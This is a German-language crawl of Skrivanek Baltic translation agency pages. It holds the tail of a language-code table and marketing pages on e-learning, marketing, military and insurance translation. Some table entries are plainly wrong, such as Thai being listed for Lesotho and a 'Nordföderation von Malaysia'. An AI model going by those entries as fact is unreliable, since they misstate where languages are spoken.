Bhutan, die Republik Indien, die Republik der Union Myanmar, das Königreich Nepal NG Ndonga Südangola (die Republik Angola), die Republik Namibia NL Niederländisch Das Königreich Belgien, das Königreich der Niederlande NN Nynorsk Eine der beiden schriftlichen Formen der norwegischen Sprache im Königreich Norwegen, die in den 1850er Jahren von dem Sprachwissenschaftler Ivar Aasen durch Synthese der norwegischen Dialekte entwickelt wurde. NO Norwegisch Das Königreich Norwegen NR Süd-Ndebele Die Republik Südafrika NV Navajo Sprache des indigenen Navajo-Volkes (Vereinigte Staaten von Amerika) NY Chichewa Die Republik Malawi, zentrale und südliche Teile des afrikanischen Kontinents OC Okzitanisch Südlicher Teil Frankreichs OJ Ojibwe Die Vereinigten Staaten von Amerika, Kanada OM Oromo Die Demokratische Bundesrepublik Äthiopien, die Republik Kenia OR Oriya Odisha (die Republik Indien) OS Ossetisch Georgien, die Russische Föderation PA Panjabi Die Republik Indien, die Islamische Republik Pakistan PI Pāli Literarische und Sakralsprache der Republik Indien PL Polnisch Die Republik Polen PS Paschtunisch Der Islamische Staat Afghanistan, nordwestlicher Teil der Islamischen Republik Pakistan PT Portugiesisch Die Republik Angola, die Demokratische Republik Timor-Leste, die Föderative Republik Brasilien, die Republik Äquatorialguinea, die Republik Mosambik, die Portugiesische Republik, usw. QU Quechua Die Republik Argentinien, der Plurinationaler Staat Bolivien, die Republik Chile, die Republik Ecuador, die Republik Kolumbien, die Republik Peru RM Rätoromanisch/ Bündnerromanisch Die Schweizerische Eidgenossenschaft RN Kirundi Die Republik Burundi, die Demokratische Republik Kongo, die Vereinigte Republik Tansania RO Rumänisch Die Republik Moldau, Rumänien RU Russisch Die Russische Föderation RW Kinyarwanda/ Ruandisch Die Republik Ruanda SA Sanskrit Eine der Sakralsprachen des Buddhismus und Hinduismus in der Republik Indien SC Sardische Sardinien (die Republik Italien) SD Sindhi Die Republik Indien, die Islamische Republik Pakistan SE Nordsamisch Nördlicher Teil des Königreichs Norwegen, die Republik Karelien (Russische Föderation), die Republik Finnland, das Königreich Schweden SG Sango Die Zentralafrikanische Republik SI Singhalesisch Die Demokratische Sozialistische Republik Sri Lanka SK Slowakisch Die Slowakische Republik SL Slowenisch Die Republik Slowenien SM Samoanisch Der unabhängige Staat Samoa SN Shona Südlicher Teil der Republik Sambia, die Republik Simbabwe SO Somali Die Republik Dschibuti, die Demokratische Bundesrepublik Äthiopien, die Republik Jemen, die Republik Kenia, die Bundesrepublik Somalia SQ Albanisch Die Republik Albanien, die Republik Kosovo SR Serbisch Die Republik Bosnien und Herzegowina, die Republik Kroatien, die Republik Montenegro, die Republik Serbien SS Siswati Die Republik Südafrika, das Königreich Eswatini ST Süd-Sotho Die Republik Südafrika, das Königreich Lesotho SU Sundanesisch Insel Java (die Republik Indonesien) SV Schwedisch Die Republik Finnland, das Königreich Schweden SW Swahili Die Republik Kenia, die Vereinigte Republik Tansania, die Republik Uganda TA Tamilisch Die Republik Indien, die Republik Singapur, die Demokratische Sozialistische Republik Sri Lanka TE Telugu Die Republik Indien TG Tadschikisch Der Islamische Staat Afghanistan, die Islamische Republik Iran, die Republik Tadschikistan TH Thailändisch Das Königreich Kambodscha, die Nordföderation von Malaysia, die Republik der Union Myanmar, das Königreich Lesotho, das Königreich Thailand TI Tigrinya Eritrea, die Demokratische Bundesrepublik Äthiopien TK Turkmenisch Der Islamische Staat Afghanistan, die Republik Irak, die Islamische Republik Iran, die Republik Türkei, Turkmenistan TL Tagalog Die Republik der Philippinen TN Setswana Die Republik Botsuana, die Republik Südafrika TO Tongaisch Das Königreich Tonga TR Türkisch Die Republik Zypern, die Republik Türkiye TS Tsonga Die Republik Südafrika, die Republik Mosambik, das Königreich Eswatini, die Republik Simbabwe TT Tatarisch Die Republik Kasachstan, die Republik Kirgisistan, die Ukraine, die Republik Usbekistan, die Republik Tatarstan (Russische Föderation) TW Twi Die Republik Ghana TY Tahitianisch Französisch-Polynesien UG Uigurisch Die Republik Kasachstan, die Republik Kirgisistan, die Republik Tadschikistan, Turkmenistan, die Republik Usbekistan UK Ukrainisch Die Ukraine UR Urdu Die Republik Indien, die Islamische Republik Pakistan UZ Usbekisch Die Republik Usbekistan VE Tschivenda Die Republik Südafrika, die Republik Simbabwe VI Vietnamesisch Die Sozialistische Republik Vietnam VO Volapük Plansprache, die zwischen 1879 und 1880 von dem deutschen Pfarrer Johann Martin Schleyer entwickelt wurde WO Wolof Die Republik Gambia, die Islamische Republik Mauretanien, die Republik Senegal XH Xhosa Die Republik Südafrika YI Jiddisch Eine hebräische Sprache, die von der jüdischen Diaspora in vielen Teilen der Welt gesprochen wird, z. B. in den Vereinigten Staaten von Amerika, im Vereinigten Königreich von Großbritannien und Nordirland, in der Russischen Föderation, im Königreich Schweden, usw. YO Yoruba Die Republik Benin, die Bundesrepublik Nigeria, die Republik Togo ZA Zhuang Die Volksrepublik China ZH Chinesisch Die Volksrepublik China ZU Zulu Die Republik Südafrika, die Republik Malawi, die Republik Mosambik, das Königreich Eswatini, die Republik Simbabwe DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN UNSERER KUNDEN: allgemeine und fachliche Übersetzungen; notariell beglaubigte Übersetzung; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textanpassung und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen; usw. SIE BENÖTIGEN EINE ÜBERSETZUNG? SUCHEN SIE EINE SPRACHDIENSTLEISTUNG ODER EINE BERATUNG? Anfrage senden GEFRAGTESTE ÜBERSETZUNGSGEBIETE Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Lokalisieren Sie Ihren Lerninhalt oder Ihre elektronische Dienstleistung in mindestens einige der am häufigsten gesprochenen Sprachen der Welt oder Ihrer Region! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/ - Translation Priorities: Optional Dank des Internets können Sie Kunden aus verschiedenen Ländern für Ihr Unternehmen gewinnen. Wenn Sie E-Learning einschließlich verschiedener Online-Kurse anbieten, empfehlen wir Ihnen, alle Inhalte oder das Lernsystem in einer Sprache Ihrer Wahl zu lokalisieren. Jede Art des Lernens, auch das E-Learning, sollte den Lernenden qualitativ hochwertige Inhalte bieten, die es ihnen ermöglichen, neues Wissen zu erwerben. Es gibt viele Fähigkeiten, Kompetenzen und Kenntnisse, die man online lernen kann und es ist großartig, wenn man das in der Muttersprache machen kann. Skrivanek Baltic kann Ihnen dabei helfen! Das Unternehmen verfügt über fünfundzwanzig Jahre Erfahrung in der Übersetzung, Lokalisierung und Adaption eines breiten Spektrums von Inhalten für den passenden Markt. Mit unserer Hilfe können Sie Ihre potenziellen Kunden in ihrer Muttersprache ansprechen und so auch außerhalb des lokalen Marktes bekannt werden. Angesichts der zunehmenden Beliebtheit von E-Learning und verschiedener Online-Kurse muss jeder Anbieter eines solchen Dienstes Folgendes berücksichtigen: Um Lernende in einer bestimmten Region zu gewinnen, muss es möglich sein, sie direkt, schnell und persönlich anzusprechen. Deshalb ist es gut, wenn Sie Kurse in der Sprache der jeweiligen Zielgruppe anbieten können. Gleichzeitig gibt es Branchen, in denen eine Lernplattform in einer der wichtigsten Sprachen der Welt - Englisch, Spanisch, Deutsch, Französisch oder einer anderen Sprache - sehr nützlich wäre. Die Lokalisierung von Inhalten und Dienstleistungen bedeutet, dass Ihre E-Learning-Plattform, einschließlich aller Lernmaterialien und der von Ihnen entwickelten Zusatzmaterialien, an die Bedürfnisse der Zielsprecher angepasst wird. Um ein qualitativ hochwertiges Ergebnis zu erzielen, garantieren wir, dass der Inhalt nicht nur übersetzt, sondern auch an den Zielmarkt angepasst wird. Lokalisierung und Adaption ist ein kreativer Prozess, der tiefgehende Kenntnisse in dem jeweiligen Gebiet verlangt. Die Spezialisten von Skrivanek Baltic verfügen nicht nur über große Kenntnisse in dem von Ihnen vertretenen Gebiet, sondern auch über die kulturspezifischen Aspekte der Zielsprache. Unsere Fachleute helfen Ihnen auch bei der Beurteilung, inwieweit die von Ihnen vorbereiteten Inhalte zu Ihrer potenziellen Zielgruppe passen und ob eine spezifischere Vorbereitung erforderlich ist. Setzen Sie sich mit unseren Projektmanagern in Verbindung, um herauszufinden, wie schnell wir die von Ihnen entwickelten E-Learning-Inhalte oder -Plattformen für den Markt der von Ihnen gewählten Zielsprache lokalisieren können! HÄUFIG GESTELLTE FRAGEN Wir bieten eine große Vielfalt an Sprache an - Übersetzungen und Dolmetschen, Lokalisierung, Textadaption, Copywriting, DTP und Sprachunterricht. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Obwohl die meisten unserer Übersetzungsaufträge von juristischen Personen kommen, arbeiten wir auch gerne mit natürlichen Personen zusammen. Notariell beglaubigte Übersetzungen sind die häufigste Dienstleistung für natürliche Personen. Auch Sprachkurse und Camps für Kinder und Jugendliche sind sehr beliebt. Nein, unsere Aufträge werden von Projektmanagern angenommen und betreut. Diese dienen als eine effiziente Brücke zwischen Kunde und Übersetzer. Die Übersetzer und Dolmetscher von Skrivanek Baltic bieten Dienstleistungen in mehr als 110 Sprachen an. SUCHEN SIE NACH ÜBERSETZUNGSDIENSTLEISTUNGEN ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Übersetzung und Lokalisierung von digitalen Marketinginhalten Keyword Recherche zur SEO-Optimierung. Erhalten Sie jetzt ein kostenfreies Angebot! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/ Digitales Marketing, einschließlich Webseiten und durchdachter Online-Media-Kampagnen, erobert die Herzen und Köpfe Ihrer Kunden mit Botschaften in einer virtuellen Umgebung. Gleichzeitig können Ihre Kunden durch soziale Netzwerke engere Beziehungen untereinander aufbauen. Eine einfache, klassische Übersetzung kann die Einzigartigkeit Ihres Produkts verblassen lassen. Genau hier kommt Ihnen die Lokalisierung von Marketinginhalten zu Hilfe. WARUM IST DIE LOKALISIERUNG VON MARKETINGINHALTEN SO NOTWENDIG? Warum müssen Sie Ihre Inhalte lokalisieren? Warum reicht eine einfache Übersetzung nicht aus? Jede Land und Kultur hat ihre eigenen Traditionen. Darüber hinaus gibt es natürlich Umgangssprache, dessen Unkenntnis zu unangenehmen Situationen führen kann. Der japanische Fahrzeugbauer Mitsubishi trat in Südamerika in ein Fettnäpfchen: Der Name des beliebten Geländewagens „Pajero“ wird in spanischsprachigen Ländern für faule, nachlässige Männern verwendet. Und so musste er in „Montero“ umbenannt werden. Hätte man zuvor einen Sprachspezialisten zu Rate gezogen, der die Feinheiten der jeweiligen Kultur und Sprache kennt und rechtzeitig reagiert, dann hätte die große Autogruppe dieses Fettnäpfchen vermeiden können. Die Sprachspezialisten von Skrivanek lokalisieren jeden von Ihnen erstellten Text entsprechend den kulturspezifischen Aspekten der Zielsprache und passen Beiträge auf sozialen Netzwerken an. Auch die Auswahl der angemessensten Bilder entsprechend der kulturellen Besonderheiten für beispielsweise Instagram oder Facebook, ist bei der Lokalisierung inbegriffen. Ganz gleich, ob es sich um Produktbeschreibungen, Beiträge in sozialen Medien oder Werbematerialien handelt, wir garantieren Ihnen, dass sie so wahrgenommen werden, als wären sie im Zielland erstellt worden. UNSERE LOKALISIERUNGSDIENSTE: Unsere Experten übersetzen und lokalisieren Ihre Website nicht nur nach Bedarf, sondern passen auch die erforderlichen Schlüsselwörter für die Suchmaschinenoptimierung (SEO) im Internet an, damit Ihre Website bei Google besser sichtbar wird. Außerdem werden die Schlüsselwörter auch für Google Ads angepasst. Wir passen Ihren Online-Shop an die Bedürfnisse ausländischer Käufer an und erweitern so Ihren Kundenkreis. Außerdem prüfen wir, ob die Namen und Beschreibungen Ihrer Produkte für alle Märkte, an denen Sie interessiert sind, geeignet sind. Wir bereiten die Audio- und Videodateien marktgerecht auf, bereiten den Ausgangstext sowohl für die Aufnahme als auch für die Untertitelung vor und geben Empfehlungen für die Einbeziehung einheimischer Besonderheiten, einschließlich Orts- und Personennamen. Wir lokalisieren Social-Media-Inhalte nicht nur, sondern entwickeln sie bei Bedarf auch weiter und ziehen die passendsten einheimischen Influencer an. Egal über welches soziale Netzwerk ( X (Twitter), Facebook, LinkedIn, Instagram, usw. ) Sie Ihr Produkt präsentieren wollen, wir geben dem Produkt den regionalen Touch. Wir bereiten Blogbeiträge zu dem Thema vor, das Sie interessiert, um Ihr Produkt zu fördern und es organisch in den Informationsraum des betreffenden Landes einzubringen. Außerdem überlegen wir uns Hashtags zu aktuellen Themen, so dass Ihr Produkt wie ein einheimisches Produkt wirkt und nicht auf dem fremden Markt untergeht. HÄUFIG GESTELLTE FRAGEN Wir können nahezu jedes Dokument bearbeiten, wobei die Formatierung des Originaldokuments erhalten bleibt. Bei der Lokalisierung halten wir uns an die spezifischen Anweisungen des Auftraggebers oder an die von der Software vorgegebenen Einstellungen. Das würden wir gerne! Skrivanek verfügt über umfangreiche Erfahrung und Kenntnis in der Übersetzung und Lokalisierung verschiedener Webseiten und Content-Management-Systeme. Wir gewährleisten stets einen professionellen Ansatz und finden für Ihre besondere Situation eine maßgeschneiderte Lösung, um die besten Ergebnisse in den jeweiligen Sprachkombinationen zu erzielen. Ja, oft stellen wir sogar Teams von Sprachspezialisten für unsere Kooperationspartner zusammen, was bedeutet, dass die Dienstleistungen von denselben Übersetzern oder Dolmetschern wie bisher erbracht werden. Wir freuen uns über Ihr Feedback und beauftragen gerne den bisherigen Sprachspezialisten für Sie. Unsere Stammkunden haben auch ihre eigenen Projektmanager. SIE BENÖTIGEN EINE LOKALISIERUNG VON MARKETINGINHALTEN? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Wir haben große Erfahrung in der Übersetzung militärischer Texte für Streitkräfte und die Rüstungsindustrie. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ - Translation Priorities: Optional Die Nachfrage nach professionellen Übersetzern mit praktischer Erfahrung im Umgang mit militärischen Texten ist in den letzten Jahren in Lettland und Europa deutlich gestiegen. Skrivanek hat große Erfahrung in der Übersetzung militärischer Texte für Streitkräfte und die Rüstungsindustrie. Mit Kriegsbeginn in der Ukraine stieg auch die Nachfrage nach der Übersetzung militärischer Texte enorm. Verschiedene Arten von Materialien und Dokumenten im Zusammenhang mit den Streitkräften der NATO- und EU-Mitgliedstaaten, der Militärluftfahrt, den Seestreitkräften, dem Katastrophenschutz oder der Gefechtsfeldmedizin werden nun benötigt. Einer der Unterschiede bei der Übersetzung militärischer Dokumente ist, dass militärische Übersetzer die Anforderungen der NATO-Terminologie-Richtlinie (PO(2015)0193) genau befolgen müssen. Diese verlangt die Verwendung der harmonisierten und standardisierten NATO-Terminologie in allen Übersetzungen von Bündnisdokumenten. Militärische Übersetzer und Dolmetscher sind stets auf dem neusten Stand der terminologischen Entwicklungen des NATO-Terminologiebüros. Militärische Übersetzungen umfassen ein breites Spektrum von Dokumenten und Unterlagen unterschiedlichen Inhalts, unterschiedlicher Komplexität und unterschiedlichen Geheimhaltungsgrades, wie zum Beispiel: alle Arten von Dokumenten der NATO, der Institutionen der Europäischen Union und anderer Institutionen der NATO-Mitgliedstaaten im Bereich der nationalen und internationalen Sicherheit, einschließlich Gesetzestexte; technische Dokumentation über militärische Ausrüstung, Maschinen, Spezialgeräte, Waffen und Fahrzeuge für die Streitkräfte und die Rüstungsindustrie; Präsentationen, Kataloge und verschiedene Werbematerialien für Unternehmen, die Dienstleistungen für die Rüstungsindustrie anbieten; offizielle Erklärungen und Mitteilungen des Militärs und hochrangiger Beamter, nicht nur zu Ereignissen in Konfliktgebieten, sondern auch zu Naturkatastrophen, Krisen und anderen Fragen des Katastrophenschutzes, welche die nationale Sicherheit betreffen und unter besondere Gesetzen fallen; Berichte von militärischen Operationen in Konfliktgebieten; Schulungsmaterialien für Soldaten, Oberbefehlshaber; Materialien der Wehrmedizin; Dokumente mit eingeschränkten oder geheimen Inhalten, usw. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! MILITÄRDOLMETSCHER Neben der Übersetzung von militärischen Texten bietet Skrivanek auch militärische Dolmetscherdienste an, am häufigsten für: internationale hochrangige Konferenzen und Treffen; internationale militärische Übungen vor Ort und Webinare; militärische Austauschbesuche; Präsentationen von militärischer Ausrüstung, Maschinen oder Kampffahrzeugen; in Konfliktgebieten, Unterstützung der Vereinten Nationen und anderen Institutionen; europaweite Militärmessen und andere Veranstaltungen der Rüstungsindustrie. Skrivanek bietet Militärdolmetschen in allen EU-Sprachen an, je nachdem, welche Länder, Institutionen, Organisationen und Unternehmen an dem Projekt oder der Veranstaltung beteiligt sind. Wir arbeiten mit Dolmetschern und Übersetzern für mehr als 110 Sprachen zusammen. Diese sind sorgfältig ausgewählt und durch interne Sicherheits- und Due-Diligence-Interviews sowie Dokumentenprüfungen überprüft, um die Eignung für die jeweilige Aufgabe zu gewährleisten, wobei die Besonderheiten des zu dolmetschenden Meetings berücksichtigt werden. In Anbetracht der aktuellen Situation in der Ukraine passen wir uns ebenfalls an und sehen eine wachsende Nachfrage nach ukrainisch-englischen und englisch-ukrainischen Militärübersetzungen sowie nach Dolmetschern/Übersetzern für Englisch-Ukrainisch und Ukrainisch-Englisch. Bei Skrivanek können wir Militärdolmetscher und -übersetzer für die Kombinationen Englisch-Ukrainisch und Ukrainisch-Englisch vermitteln. ÄHNLICHE BEREICHE Militärdolmetschen ist definiert als spezifische indirekte, interkulturelle, bilaterale und zweisprachige Kommunikation, die von einem professionellen Militärdolmetscher unter normalen, aber oft auch extremen Bedingungen des Militärdienstes durchgeführt wird und verschiedene Arten von militärischen Texten umfasst. Beim Militärdolmetschen geht es nicht nur um militärische Ausrüstung, Wehrdienst und Fremdsprachen. Sie umfasst auch viele andere ähnliche Bereiche und Disziplinen wie beispielsweise: Medizin; Recht; Personalwesen; Politik und Diplomatie; IT; Biochemie; Katastrophenschutz. Skrivanek beschäftigt Sprachspezialisten mit langjähriger Erfahrung in all diesen Bereichen in Lettland und Europa. Deswegen können wir große und komplexe Übersetzungsprojekte durchführen, die Erfahrung und Fachwissen in verschiedenen Bereichen sowie Kenntnisse der militärischen Terminologie erfordern. EIN ERFAHRENER MILITÄRÜBERSETZER IST DER SCHLÜSSEL ZU EINEM ERFOLGREICHEN ÜBERSETZUNGSPROJEKT Wer als militärischer Übersetzer arbeitet, muss über die nötige Berufserfahrung und Qualifikation verfügen, um fachlich und inhaltlich korrekte Übersetzungen zu liefern. Kunden mit militärischen Texten benötigen häufig Übersetzungen hochkomplexer technischer Dokumente, was bedeutet, dass Erfahrung mit der Übersetzung solcher Texte unerlässlich ist. Skrivanek hat große Erfahrung in der Übersetzung militärischer Texte für Werften, die militärische Luftfahrt und die Militärtechnik. Nach Unterzeichnung einer Geheimhaltungserklärung können wir Ihnen in einem Online-Meeting erklären, wie unser Büro mit vertraulichen Projekten arbeitet und Ihnen auch Referenzen nennen. Die Medizin ist nur einer der wichtigen Bereiche der militärischen Übersetzung. Die Rolle und Arbeit einer militärischen Person in einem militärischen Umfeld erfordert einen ganz anderen Ansatz als die zivile Gesundheitsversorgung. Seit vielen Jahren unterstützen wir diesen wichtigen Bereich der Medizin durch die Bereitstellung von Übersetzungsdiensten für die Zeitschrift Lekarz Wojskowy, die vom Militärmedizinischen Institut in Polen herausgegeben wird. DIE ROLLE DES DOLMETSCHERS IN MILITÄRISCHEN KONFLIKTGEBIETEN Die Hauptaufgabe eines Militärdolmetschers in militärischen Konfliktgebieten besteht natürlich in der sprachlichen Unterstützung, sowohl mündlich als auch schriftlich. Der Hauptunterschied besteht darin, dass der Dolmetscher die militärischen Dienstvorschriften und Befehle vollständig befolgt, wobei er oft auch als Vermittler fungiert. Der Dolmetscher muss in der Lage sein, interkulturelle Unterschiede zu erkennen und zu dolmetschen. Bevor er sich in ein Konfliktgebiet begibt, muss er über alle verfügbaren Informationen zu geografischen Orten, Daten, Uhrzeiten, Abkürzungen, Positionen, Namen und anderen Sprachen der beteiligten Personen verfügen, die im Laufe des Gesprächs verwendet werden könnten. VERTRAUEN SIE IHRE MILITÄRISCHEN ÜBERSETZUNGEN DEN SPEZIALISTEN VON SKRIVANEK AN Skrivanek ist ein internationales Sprachunternehmen, das seit mehr als 30 Jahren auf dem europäischen Markt tätig ist. Wir haben große Erfahrung in der Übersetzung von Dokumenten für die NATO, EU und UN-Institutionen sowie für Unternehmen, die in diesem Sektor arbeiten. Unser Team erfahrener technischer Übersetzer ist bereit, auch bei den anspruchsvollsten Dokumenten, Zeichnungen und Grafiken zu helfen. Wenn Sie mehr über unsere technischen Fähigkeiten und Erfahrungen herausfinden möchten, wenden Sie sich bitte an ivars@skrivanek. lv, damit wir eine Geheimhaltungserklärung abschließen und Ihren Auftrag in Detail besprechen können. ABSOLUTE DISKRETION Wir sind uns sehr wohl bewusst, dass die Vertraulichkeit von Informationen heutzutage von größter Bedeutung ist und die Sicherheit und sogar das Leben vieler Menschen und von Militärpersonal beeinflussen kann. Wenn Sie mit Skrivanek zusammenarbeiten, können Sie sich darauf verlassen, dass alle Ihre Daten sicher sind. Skrivanek verfügt über alle erforderlichen ISO Verfahren zur Verwaltung der Informationssicherheit, einschließlich der Zertifizierung nach ISO 27001, welche die Speicherung der von uns verarbeiteten Daten bestätigt. Beim Militärübersetzungen ist es oft erforderlich, unter besonderen Arbeitsbedingungen zu arbeiten, z. B. ohne Internetzugang oder unter anderen besonderen Anforderungen. Unser Büropersonal und unsere Übersetzer haben die notwendigen Kenntnisse und Erfahrungen, um solche Projekte zu bearbeiten. Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen --- > Fachübersetzungen, notariell beglaubigte Übersetzungen, Dolmetscherdienste und Sprachunterricht. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/ - Translation Priorities: Optional Das Versicherungswesen ist eine auf Vertrauen basierende Branche, in welcher nur Profis erfolgreich sein können. Um die gewünschten Ergebnisse zu erzielen, brauchen Sie einen Partner, der sich mit den Gepflogenheiten und der Terminologie der Branche sowie mit den verschiedenen Arten von Versicherungsdienstleistungen auskennt und somit in der Lage ist, geeignete Lösungen anzubieten. Das Team von Skrivanek besteht aus Übersetzern und Dolmetschern mit Erfahrung in der Branche und Kenntnissen der verschiedenen Versicherungsarten: Immobilienversicherung, Kranken- und Lebensversicherung, Rückversicherung, Unternehmensversicherung, Kfz-Versicherung usw. Deswegen eignen sich unsere Dienstleistungen bestens für Ihre Bedürfnisse. Ob Sie nun schriftliche Übersetzungen, Textverbesserungen oder Dolmetscherdienste bei Seminaren und Konferenzen brauchen - wir stehen Ihnen zur Seite. Die Erfahrung unserer Fachleute garantiert Ihnen, dass die Übersetzungen in der Versicherungsbranche Ihren Erwartungen entsprechen. Wir verwenden den Stil der Unternehmenskommunikation und die entsprechende Terminologie, um sicherzustellen, dass die Texte nicht nur korrekt sind, sondern auch in Ihr Unternehmensbild passen. Wenn Sie sich für Skrivanek entscheiden, können Sie sicher sein, dass wir die Verantwortung für unsere Arbeit übernehmen, unabhängig davon, ob Sie uns beauftragt haben, ein Paket mit Verkaufsunterlagen in einer Fremdsprache zu erstellen oder eine Beschreibung komplizierter medizinischer Vorgänge übersetzt haben wollen. Wir sind mit der Versicherungsbranche gut vertraut, kennen die aktuellen Trends und sind stets bereit, unser Wissen über Versicherungen zu verbessern. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR DIE VERSICHERUNGSBRANCHE IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung verschiedener allgemeiner Versicherungsverträge; Übersetzung von Versicherungsbedingungen; Übersetzung von Betriebsvereinbarungen für Kollektivversicherungen; Übersetzung von Angeboten und Geschäftsplänen; Übersetzung von Informationen über Versicherungsnehmer und Versicherungsansprüche; Übersetzung von Versicherungsbescheinigungen; Übersetzung von Antragsformularen und Standardschreiben zur Bearbeitung von Anträgen; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, darunter Geschäftssitzungen, Seminare und Konferenzen; Übersetzung aller Arten von Marketingmaterialien zur Förderung Ihrer Dienstleistungen alle anderen Dienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt 